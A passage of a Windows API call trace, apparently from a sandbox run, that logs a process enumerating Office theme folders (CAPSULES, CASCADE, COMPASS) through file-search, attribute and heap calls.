[0053.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1ab0 [0053.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7d70 [0053.429] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.429] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.429] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.429] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1ad0 [0053.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7e78 [0053.430] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.430] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.430] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.430] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1af0 [0053.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7f80 [0053.430] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.430] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.430] GetLastError () returned 0x12 [0053.430] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0053.430] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0053.430] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.430] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0053.430] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0053.430] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.430] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.430] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.431] GetLastError () returned 0x12 [0053.431] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef59c0) returned 1 [0053.431] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0053.431] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef5ac8) returned 1 [0053.431] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0053.431] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0053.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.431] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0053.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0053.435] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0053.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef93e0 [0053.435] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef93e0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef93e0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0053.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef93e0) returned 1 [0053.435] NtClose (Handle=0x170) returned 0x0 [0053.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0053.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0053.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ac8 [0053.436] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0053.436] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.436] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0053.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.436] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.436] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef59c0 [0053.436] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0053.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1b10 [0053.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef8088 [0053.436] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.436] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0053.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.436] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.436] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1b30 [0053.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef8190 [0053.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x740) returned 0xef93e0 [0053.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef8cd8) returned 1 [0053.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.437] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1b50 [0053.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef8298 [0053.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.437] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1b70 [0053.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef83a0 [0053.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.437] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.437] GetLastError () returned 0x12 [0053.437] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0053.437] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0053.438] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.438] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0053.438] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0053.438] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.438] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.438] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.438] GetLastError () returned 0x12 [0053.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef5ac8) returned 1 [0053.438] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0053.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef59c0) returned 1 [0053.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0053.438] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0053.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0053.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0053.443] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0053.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef9b28 [0053.443] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef9b28, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef9b28, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0053.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef9b28) returned 1 [0053.443] NtClose (Handle=0x17c) returned 0x0 [0053.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0053.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0053.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef59c0 [0053.443] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0053.443] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.443] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0053.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 